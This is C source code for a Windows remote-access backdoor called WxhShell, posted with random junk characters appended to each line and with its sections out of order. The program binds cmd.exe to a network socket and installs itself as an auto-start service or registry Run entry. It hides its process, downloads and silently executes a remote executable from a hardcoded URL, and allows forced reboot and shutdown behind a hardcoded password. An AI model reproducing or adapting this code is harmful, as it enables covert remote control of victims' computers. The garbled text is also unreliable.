    else { 2 HQ3G~U  
    closesocket(wsh); U7 D!w$4  
    ExitThread(0); &5R|{',(Y  
    } 'n,V*9  
    break; ML\>TDt  
    } kO3\v)B;  
  // 获取shell :p: C  
  case 's': { {LF4_9 =  
    CmdShell(wsh); CKK}Z;~:  
    closesocket(wsh); ]r|oNGD)G  
    ExitThread(0); :[_ms d  
    break; 1 rhZlmf[r  
  } "t.` /4R2w  
  // 退出 q {Z#}|km#  
  case 'x': { m?<E >-bI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1F`jptVQ\G  
    CloseIt(wsh); Px=@Tw N,  
    break; 6^'BTd  
    } -g2l-N{&  
  // 离开 \_8wU' 7  
  case 'q': { xxu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jO&*E 'pk  
    closesocket(wsh); 9ET1Er{4  
    WSACleanup(); 0(eaVi-%D  
    exit(1); vsj4? 0=  
    break; ^r&)@R$V  
        } 7:<w)Al!  
  } s< FBr,  
  } {JP q. A  
y')OmR2h  
  // 提示信息 ,u2Qkw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P Y^#hC5:  
} ^HJ?k:u  
  } WrGnLE kiV  
g5@g_~ g  
  return; GcdJf/k  
} _5-h\RB)  
Df^F)\7!N?  
// shell模块句柄 '&![h7B  
int CmdShell(SOCKET sock) rtj`FH??11  
{ \]u;NbC]  
STARTUPINFO si; 3J+2#ML  
ZeroMemory(&si,sizeof(si));  @;bBc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]oB~8d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]h,rgO ;  
PROCESS_INFORMATION ProcessInfo;  L\PmT  
char cmdline[]="cmd"; clB K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ccHf+=  
  return 0; zOs}v{8"  
} '*b]$5*p  
m|aK_  
// 自身启动模式  1[SG.  
int StartFromService(void) 06S R74  
{ ~Ba=nn8Cq  
typedef struct W}CM;~*L  
{ uX6yhaOp|  
  DWORD ExitStatus; ! ;t\lgMl  
  DWORD PebBaseAddress; 8D*nU3O   
  DWORD AffinityMask; g F*AS(9  
  DWORD BasePriority; 4a-JC"  
  ULONG UniqueProcessId; =n5'~1?X?  
  ULONG InheritedFromUniqueProcessId; 4KM-$h,4O  
}   PROCESS_BASIC_INFORMATION; PW5]+ |#  
Cd}^&z  
PROCNTQSIP NtQueryInformationProcess; \_ 3>v5k|  
IW0S*mO$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i7Up AHd/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }uZs)UQ|$  
y QW7ng7D0  
  HANDLE             hProcess;  yfZNL?2x  
  PROCESS_BASIC_INFORMATION pbi; RRIh;HhX  
|vI`u[P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?;ok9Y  
  if(NULL == hInst ) return 0; $eYL|?P50h  
KC6Cg?y^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lvO6&sF1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e7RgA1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \wK&wRn)  
q!ZM Wg  
  if (!NtQueryInformationProcess) return 0; !bE-&c  
D:1@1Jr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =&bI-  
  if(!hProcess) return 0; & o5x  
5#K*75>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M ^o_='\bE  
SiLW[JXd  
  CloseHandle(hProcess); DiFYVR<@  
1!<t8,W4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @8|*Ndx2  
if(hProcess==NULL) return 0; s?w2^<P  
1xB}Ed*k  
HMODULE hMod; [eX]x  
char procName[255]; rAH!%~  
unsigned long cbNeeded; bhqSqU}6~  
i2,4:M)CV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1RRE{]2v#  
Y![Q1D!  
  CloseHandle(hProcess); XQ#K1Z  
0gd`W{YP  
if(strstr(procName,"services")) return 1; // 以服务启动 wFJf"@/vJ  
7~Y\qJ4b  
  return 0; // 注册表启动 MCKN.f%lP  
} XX8HSw!w  
+%JBr+1#\  
// 主模块 5=pE*ETJ  
int StartWxhshell(LPSTR lpCmdLine) Q^(CqQo!<  
{ kxMvOB$  
  SOCKET wsl; paqGW]  
BOOL val=TRUE; *N">93:  
  int port=0; =;rLv7(a  
  struct sockaddr_in door; SqM>xm  
0q}i5%m7  
  if(wscfg.ws_autoins) Install(); J9Ao*IW~  
1BSd9Ydj  
port=atoi(lpCmdLine); B9maz"lJ  
XO+BZB`F  
if(port<=0) port=wscfg.ws_port; M/N8bIC! Q  
v:t;Uk^Y  
  WSADATA data; %{u@{uG0'3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1Bj.MQ^  
 /8x';hQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   azPH~' E'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  {^N,=m\  
  door.sin_family = AF_INET; K:,V>DL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xfYKUOp/  
  door.sin_port = htons(port); PkvW6,lS  
;4nY{)bD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >y3FU1w5d  
closesocket(wsl); >q"dLZ  
return 1; `i.BB jx`  
} 7Ak<e tHD  
3s6obw$ki  
  if(listen(wsl,2) == INVALID_SOCKET) { TSB2]uH  
closesocket(wsl); |Y7SP]/`gB  
return 1; +:S `]  
} cOVj @z  
  Wxhshell(wsl); yHeL&H  
  WSACleanup(); J p'^!  
{L-^J`> G  
return 0; &<A,\ M  
C[J9 =!t  
} -D`1z?zHra  
zI`I Q  
// 以NT服务方式启动 %*R, ceuI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EF0v!XW  
{ bMO^}qR`  
DWORD   status = 0; gv*b`cl  
  DWORD   specificError = 0xfffffff; OoB|Eh|),  
eZ'8JU]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L'+bVP{L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ] ZV[}7I.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Nk'<*;e  
  serviceStatus.dwWin32ExitCode     = 0; 4MgN  
  serviceStatus.dwServiceSpecificExitCode = 0; 5vx 4F f  
  serviceStatus.dwCheckPoint       = 0; msl.{  
  serviceStatus.dwWaitHint       = 0; W A/dt2D|  
K*~{M+lU7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3=O [Q:8  
  if (hServiceStatusHandle==0) return; ;_<~9;  
~KK} $iM  
status = GetLastError(); sxNf"C=-.  
  if (status!=NO_ERROR) Qit&cnO  
{ `16'qc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1j?P$%p  
    serviceStatus.dwCheckPoint       = 0; Y~"tL(WfJl  
    serviceStatus.dwWaitHint       = 0; gIB3DuUo  
    serviceStatus.dwWin32ExitCode     = status; &*`dRIQ]  
    serviceStatus.dwServiceSpecificExitCode = specificError; GwX)~.i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C QkY6  
    return; V(';2[)  
  } m Q2i$ 0u  
c8uaZvfW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wWl ?c  
  serviceStatus.dwCheckPoint       = 0; ;s +/'(*  
  serviceStatus.dwWaitHint       = 0; OSBR2Z;=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M':-f3aT%  
} \s=r[0tj!  
&jDN6n3z  
// 处理NT服务事件,比如:启动、停止 zL"e.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <.h7xZ  
{ WVP?Ie8  
switch(fdwControl) "N+4TfXy  
{ \{h_i FU!  
case SERVICE_CONTROL_STOP: Zbczbnj  
  serviceStatus.dwWin32ExitCode = 0; &g :(I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kWr1>})'  
  serviceStatus.dwCheckPoint   = 0; U0&myj 8L  
  serviceStatus.dwWaitHint     = 0; _Ewh:IM-  
  { ]#o;`5'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hek+zloB+  
  } Rhc:szDU  
  return; &[G)Y D  
case SERVICE_CONTROL_PAUSE: cv'8_3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SU0SsgFB  
  break; L=lSW7R  
case SERVICE_CONTROL_CONTINUE: 9z(SOzZn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }B0[S_mw  
  break; <"3q5ic/Z  
case SERVICE_CONTROL_INTERROGATE: P(aBJ*((~  
  break; UC`h o%OBF  
}; KL$.E!d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >|3Y+X  
} ?!RbS#QV}  
f^pBXz9&=  
// 标准应用程序主函数 um9&f~M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EQyX!  
{ nCYz ];".  
=xk>yw!O)  
// 获取操作系统版本 FGVw=G{r  
OsIsNt=GetOsVer(); |4+'YgO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ag8/%a~(  
 Xu-~j!  
  // 从命令行安装 aO{@.  
  if(strpbrk(lpCmdLine,"iI")) Install(); j@xIa-{*  
bxa>:71  
  // 下载执行文件 :<g0Ho?e  
if(wscfg.ws_downexe) { _7!ZnJrR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P'KA-4!  
  WinExec(wscfg.ws_filenam,SW_HIDE); j/t%7,  
} 6u_i >z  
^q-%#  
if(!OsIsNt) { DOWWG!mx  
// 如果时win9x,隐藏进程并且设置为注册表启动  q0ktABB  
HideProc(); gS FZ>v*6  
StartWxhshell(lpCmdLine); 8F[ ];LF>  
} Y-it3q'Z  
else I~l qg  
  if(StartFromService()) sc*R:"  
  // 以服务方式启动 rWr'+v?  
  StartServiceCtrlDispatcher(DispatchTable); %pVsafV  
else "}()/  
  // 普通方式启动 0moAmfc  
  StartWxhshell(lpCmdLine); d/  Lz"  
5( <O?#P  
return 0; {IOc'W-C#2  
} -nGcm"'6F  
2TGND-(j  
-;cF)C--12  
0MRWx%CR  
=========================================== !/G}vu  
V7WL Gy.,  
M6wH$!zRa  
4q .;\n  
_|e&zr  
+.Vh<:?  
" / =9Y(v  
X3sAy(q  
#include <stdio.h> (Z<@dkO?)  
#include <string.h> |&K;*g|a  
#include <windows.h> y A5h^I  
#include <winsock2.h> lITd{E,+r  
#include <winsvc.h> 82FEl~,^E  
#include <urlmon.h> 3w^W6hN)  
syu/"KY^!  
#pragma comment (lib, "Ws2_32.lib") ^: /c<(DQD  
#pragma comment (lib, "urlmon.lib") (?Ko:0+*  
Ucv7`W gr  
#define MAX_USER   100 // 最大客户端连接数 h] ho? K  
#define BUF_SOCK   200 // sock buffer ;?u cC@  
#define KEY_BUFF   255 // 输入 buffer pj_W^,*/  
@PM<pEve  
#define REBOOT     0   // 重启 D2VYw<tEA  
#define SHUTDOWN   1   // 关机 |ru!C(  
r(S h  
#define DEF_PORT   5000 // 监听端口 eFsl  
gq?O}gVD  
#define REG_LEN     16   // 注册表键长度 '=nmdqP  
#define SVC_LEN     80   // NT服务名长度 zWo  
@7}XBg[pI  
// 从dll定义API 0d2RB^"i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rir0^XqG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l^I? @{W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~Bl,_?CBr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d>u^ 7:  
& &CrF~  
// wxhshell配置信息 _wXT9`|3  
struct WSCFG { }V ]*FCpQ  
  int ws_port;         // 监听端口 -`8@  
  char ws_passstr[REG_LEN]; // 口令 }Rz,}^B  
  int ws_autoins;       // 安装标记, 1=yes 0=no G9Xkim Q'  
  char ws_regname[REG_LEN]; // 注册表键名 m?wQk:Y1  
  char ws_svcname[REG_LEN]; // 服务名 Q>Ct]JW&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9]N{8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  0Y!"3bw|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (}wPu&Is,C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t{UVX%b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OybmyGHY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &'`C#-e@  
iZk4KX  
}; X8v)yDtw  
a5Vlfx  
// default Wxhshell configuration {;Hg1=cm  
struct WSCFG wscfg={DEF_PORT, y# \"yykB  
    "xuhuanlingzhe", Lea4-Gc  
    1, n',7=~  
    "Wxhshell", wmV=GV8 d  
    "Wxhshell",  MMk9rBf  
            "WxhShell Service", 2Bi]t%<{  
    "Wrsky Windows CmdShell Service", i-w<5pGnf  
    "Please Input Your Password: ", Q}Ah{H0C  
  1, n7i~^nf>  
  "http://www.wrsky.com/wxhshell.exe", ]*]*O|w  
  "Wxhshell.exe" ;Qy Ew5  
    }; ;Mq'+4$  
Fep@VkN  
// 消息定义模块 &LI q?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n<|8Onw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gna!Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +|;Ri68  
char *msg_ws_ext="\n\rExit."; G8]{pbX  
char *msg_ws_end="\n\rQuit."; !^Ay !  
char *msg_ws_boot="\n\rReboot..."; oeKl\cgFx  
char *msg_ws_poff="\n\rShutdown..."; ]u<U[l-w  
char *msg_ws_down="\n\rSave to "; o[wiQ9Tl  
!0^4D=dO  
char *msg_ws_err="\n\rErr!"; CD`6R.  
char *msg_ws_ok="\n\rOK!"; c\[&IlM  
l9/}fMi  
char ExeFile[MAX_PATH]; tYMr  
int nUser = 0; !!A(A^s  
HANDLE handles[MAX_USER]; {R(/Usg!=  
int OsIsNt; A' ![*O  
fN{wP,jI  
SERVICE_STATUS       serviceStatus; }JOz,SQHP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >=rniHs=?7  
iuqJPW^}  
// 函数声明 >r)UDa+  
int Install(void); qm#?DSLap  
int Uninstall(void); j/O9LygB  
int DownloadFile(char *sURL, SOCKET wsh); ^{J^oZ'%~  
int Boot(int flag); tag)IWAiE  
void HideProc(void); %1cxZxGT  
int GetOsVer(void); o9ys$vXt*  
int Wxhshell(SOCKET wsl); #2\M(5d  
void TalkWithClient(void *cs); %iPIgma  
int CmdShell(SOCKET sock); sMAH;'`!Eu  
int StartFromService(void); &Odrq#o?R  
int StartWxhshell(LPSTR lpCmdLine); xP9R d/xa|  
IecD41%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8WLh7[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y+wy<[u  
g<F+Ldgj  
// 数据结构和表定义 I|bX;l  
SERVICE_TABLE_ENTRY DispatchTable[] = Gn6\n'r0  
{ .@r{Tq,%q8  
{wscfg.ws_svcname, NTServiceMain}, H[g i`{c  
{NULL, NULL} EQ"_kJ>81Y  
}; )2Q0NbDn  
#WUN=u   
// 自我安装 F*z>B >{)  
int Install(void) {a>JQW5=  
{ UC`sq-n  
  char svExeFile[MAX_PATH]; B~Z61   
  HKEY key;  j AoI`J  
  strcpy(svExeFile,ExeFile); "AqLR  
\p\p~FVS  
// 如果是win9x系统,修改注册表设为自启动 1 h162  
if(!OsIsNt) { <Qbqxw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u6E ze4u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R))4J  
  RegCloseKey(key); "a _S7K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @G=:@;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x5#Kk.  
  RegCloseKey(key); (0_]=r=q  
  return 0; jA@ uV,w  
    } $rjm MSxi  
  } bQ?Vh@j(M  
} m-[xrVV  
else { 6 P9#6mZ  
[$>@f{:  
// 如果是NT以上系统,安装为系统服务 7 mA3&<&q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~s?y[yy6i  
if (schSCManager!=0) DjZTr}%q  
{ blG?("0!  
  SC_HANDLE schService = CreateService I8W9Kzf  
  ( #RdcSrw)W!  
  schSCManager, u3 +]3!BQ  
  wscfg.ws_svcname, ok-q9dM  
  wscfg.ws_svcdisp, _M>S=3w  
  SERVICE_ALL_ACCESS, cy8r}wD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GAR6nJCz  
  SERVICE_AUTO_START, IAmMO[9H  
  SERVICE_ERROR_NORMAL, RT%{M1tkS  
  svExeFile, J1r\Cp+h0  
  NULL, q?w%%.9]X  
  NULL, Jn&u u  
  NULL, I#F, Mb>:  
  NULL, VK%ExMSqEh  
  NULL PJKxh%J  
  ); tOj5b 7'ui  
  if (schService!=0) :-2sKD y  
  { a[=B?Bd  
  CloseServiceHandle(schService); *xeJ4h  
  CloseServiceHandle(schSCManager); .(Z^}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'oBv(H  
  strcat(svExeFile,wscfg.ws_svcname);  Cb|R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { za.^vwkBk2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rd(-2,$4  
  RegCloseKey(key); $0M7P5]N*G  
  return 0; |f}`uF  
    } :W'.SRD  
  } JV;VR9-l  
  CloseServiceHandle(schSCManager); -S@ ys  
} v49 i.c9  
} 1 !.P H   
xnZ  
return 1; b3=XWzK5  
} s BuXw a  
z.t,qi$;{U  
// 自我卸载 ~a>3,v -  
int Uninstall(void) Ac>G F  
{ +b dnTV6  
  HKEY key; #KLW&A  
`Z`o[]%  
if(!OsIsNt) { PB:r+[91  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rG B*a8  
  RegDeleteValue(key,wscfg.ws_regname); .KYDYdoS'  
  RegCloseKey(key); ^'vWv C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;UQ&yj%x  
  RegDeleteValue(key,wscfg.ws_regname); XQ Si  
  RegCloseKey(key); h9%.tGx  
  return 0; 1(VskFtZF  
  } z)&&Ym#  
} ]V"B`ip[2  
} U`4t4CHA  
else { Bo*Wm w  
*u34~v16,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OH5#.${O  
if (schSCManager!=0) )B^T7{  
{ K!G/iz9SB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kku@!lv  
  if (schService!=0) _ =(v? 2:?  
  { K+U0YMRmz  
  if(DeleteService(schService)!=0) { cn ;2&  
  CloseServiceHandle(schService); ;sSRv9Xb  
  CloseServiceHandle(schSCManager); \D! I"mr  
  return 0; 1Dm$:),^T}  
  } VB+y9$Y'  
  CloseServiceHandle(schService); 1i|5ii*vc  
  } U&gl$/4U@  
  CloseServiceHandle(schSCManager); a3_pF~Qx  
} G7HvA46  
} .!1E7\  
CakB`q(8  
return 1; <*4r6UFR  
} gn${@y?  
@%As>X<3t  
// 从指定url下载文件 ,xC@@>f  
int DownloadFile(char *sURL, SOCKET wsh) _4t  
{ k'd=|U;(FV  
  HRESULT hr; T!H }^v  
char seps[]= "/"; 4V5h1/JPm  
char *token; Nu%MXu+  
char *file; sTYA  
char myURL[MAX_PATH]; <(o) * Zmo  
char myFILE[MAX_PATH]; z`y^o*qc]  
yLvU@V@~  
strcpy(myURL,sURL); /3 ;t &]  
  token=strtok(myURL,seps); SDW!9jm>R  
  while(token!=NULL) @(e/Y/  
  { TP)}1 @  
    file=token; safI`b w1  
  token=strtok(NULL,seps); hzy#%FaB  
  } 4{=^J2z  
b U>.Bp]  
GetCurrentDirectory(MAX_PATH,myFILE); , *Z!Bd8  
strcat(myFILE, "\\"); Dn.%+im-u  
strcat(myFILE, file); Y X{F$BM  
  send(wsh,myFILE,strlen(myFILE),0); A!`Q[%$  
send(wsh,"...",3,0); zO)3MC7l*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )L7h:%h#  
  if(hr==S_OK) h!]=)7x;  
return 0; i}LVBx"K(  
else $%3%&+z$I  
return 1; ,y*|f0&"~  
$[*<e~?  
} DqBiBH[%h  
mp>Ne6\Tu  
// 系统电源模块 ,A!0:+  
int Boot(int flag) p+1kU1F0  
{ Sa$-Yf  
  HANDLE hToken; H_7EK  
  TOKEN_PRIVILEGES tkp; 'W J3q|o/  
w:[\G%yQ  
  if(OsIsNt) { FO xZkU\e=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l>jNBxB|/A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4Y}{?]>pu  
    tkp.PrivilegeCount = 1; Z[zRZ2'i5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >iI-Cs7TD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $2pkh%  
if(flag==REBOOT) { (K|7T{B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t\\`#gc9~i  
  return 0; Ouc$M2m0!  
} kTs.ps8ei  
else { %8g1h)F"S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :PDyc(s{  
  return 0; E(Y}*.\]#s  
} XlU`jv+  
  } IkJ-*vI6  
  else { 2umgF  
if(flag==REBOOT) { 96S#Q*6+R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S/7?6y~  
  return 0; UB|}+WA3  
} nK9?|@S*'  
else { o",J{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _ "H&  
  return 0; 4:Id8r zz  
} ?=0BU}  
} WBY_%RTx  
NN@'79x  
return 1; h7F5-~SpD  
} K0] 42K  
Q}:#H z?U  
// win9x进程隐藏模块 5? 1:RE(1  
void HideProc(void) &`Ek-b!7  
{ =^`?O* /;  
O p,_d^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~~X-$rtU  
  if ( hKernel != NULL ) ZA6)@Mn  
  { q jmlwVw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *VgiJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C0%yGLh&  
    FreeLibrary(hKernel); SK;c D>)  
  } o==:e  
p5\B0G<m  
return; )lrmP(C*.a  
} 4|Ay;}X \  
#8qhl  
// 获取操作系统版本 U/9_:  
int GetOsVer(void) \*5${[  
{ 8t >nL  
  OSVERSIONINFO winfo; bE>"DP q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :pvJpu$]  
  GetVersionEx(&winfo); 7FGi+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4Bz:n  
  return 1; ;30SnR/  
  else nb_$g@ 03  
  return 0; VQwF9Iq]`  
} Z=j6c"  
o3=pxU*  
// 客户端句柄模块 ~"nF$DB  
int Wxhshell(SOCKET wsl) 6-J%Z%yT #  
{ 6g&Ev'  
  SOCKET wsh; + Un(VTD  
  struct sockaddr_in client; I> BGp4AQ  
  DWORD myID; .6[7D  
/l1OC(hm  
  while(nUser<MAX_USER) VHqHG`}:  
{ /Xk-xg+U  
  int nSize=sizeof(client); ="J *v>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YML]pNB  
  if(wsh==INVALID_SOCKET) return 1; bfX yuv  
L(+I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U;#9^<^  
if(handles[nUser]==0) ,u_ Z0S M  
  closesocket(wsh); u.dYDi  
else 2R];Pv  
  nUser++; 8(ej]9RObU  
  } lgQ"K(zY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); chA7R'+LA  
Xli$4 uL   
  return 0;  x>$e*  
} ]+A%3 7  
Wmc@: (n  
// 关闭 socket p(Ux]_s%  
void CloseIt(SOCKET wsh) \45F;f_r6  
{ bYAtUEv  
closesocket(wsh); .W s\%S  
nUser--; w;;9YFBdM  
ExitThread(0); ,=V9 ?  
} <NXJ&xs-+  
"."ow|  
// 客户端请求句柄 |wINb~trz  
void TalkWithClient(void *cs) qV7 9bK  
{ y ~n1S~5cI  
xM)6'= x6  
  SOCKET wsh=(SOCKET)cs; 1V.oR`&2E  
  char pwd[SVC_LEN]; a(uZ}yS$  
  char cmd[KEY_BUFF]; 5yk#(i 7C  
char chr[1]; ez<V  
int i,j; Hg5 :>?Lw@  
+h08uo5c  
  while (nUser < MAX_USER) { nM| Cv  
sOVU>tb\'  
if(wscfg.ws_passstr) { y #zO1Nig`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z5|BwM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); );;UA6CD  
  //ZeroMemory(pwd,KEY_BUFF); T:Nc^QP|tm  
      i=0; w)C5XX30;  
  while(i<SVC_LEN) { S#:l17e3  
N@0cn q:"  
  // 设置超时 ny1;]_X_  
  fd_set FdRead; pZz\o  
  struct timeval TimeOut; [ylRq7^e  
  FD_ZERO(&FdRead); DS=$* Trk  
  FD_SET(wsh,&FdRead); `vZX"+BAh  
  TimeOut.tv_sec=8; Y'C1L4d  
  TimeOut.tv_usec=0; =M=v; ,I-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8W Etm}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 10_#Z~aU  
7-gT:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JED\"(d(  
  pwd=chr[0]; < 1[K1'7h  
  if(chr[0]==0xd || chr[0]==0xa) { sGa}Cf;H@g  
  pwd=0; Ad&VOh+0  
  break; $[UUf}7L   
  } wJj:hA}  
  i++; "+E\os72|  
    } P; h8  
-Xx4:S  
  // 如果是非法用户,关闭 socket pX+4B=*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S$ffTdRz  
} :V1j*)  
tI)|y?q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _n1[(I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4Cv*zn  
b~qH/A}h  
while(1) { hd6O+i Y4  
?lML+  
  ZeroMemory(cmd,KEY_BUFF); %&S9~E D  
2VzYP~Jg  
      // 自动支持客户端 telnet标准   2+_a<5l~  
  j=0; ,l Y4WO  
  while(j<KEY_BUFF) { Xv3pKf-K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .+,U9e:%  
  cmd[j]=chr[0]; "9 f+F  
  if(chr[0]==0xa || chr[0]==0xd) { "([/G?QAG  
  cmd[j]=0; h+ud[atk.  
  break; tuLNGU  
  } T<-_#}.Hn  
  j++; Ss%1{s~ok  
    } ~Up{zRD"B  
4(p`xdr}K  
  // 下载文件 5vg="@O K  
  if(strstr(cmd,"http://")) { (zh[1[a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tva=DS  
  if(DownloadFile(cmd,wsh)) NBHpM}1xtU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C~R ?iZ.&U  
  else f}J(nz>Sh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]f0OmUHR5i  
  } sQe GT)/|  
  else { z:4_f:70  
#*:^\z_Jd  
    switch(cmd[0]) { $xWUzg1<U  
  ?w+ V:D  
  // 帮助 _OC@J*4.  
  case '?': { BlQ X$s]  
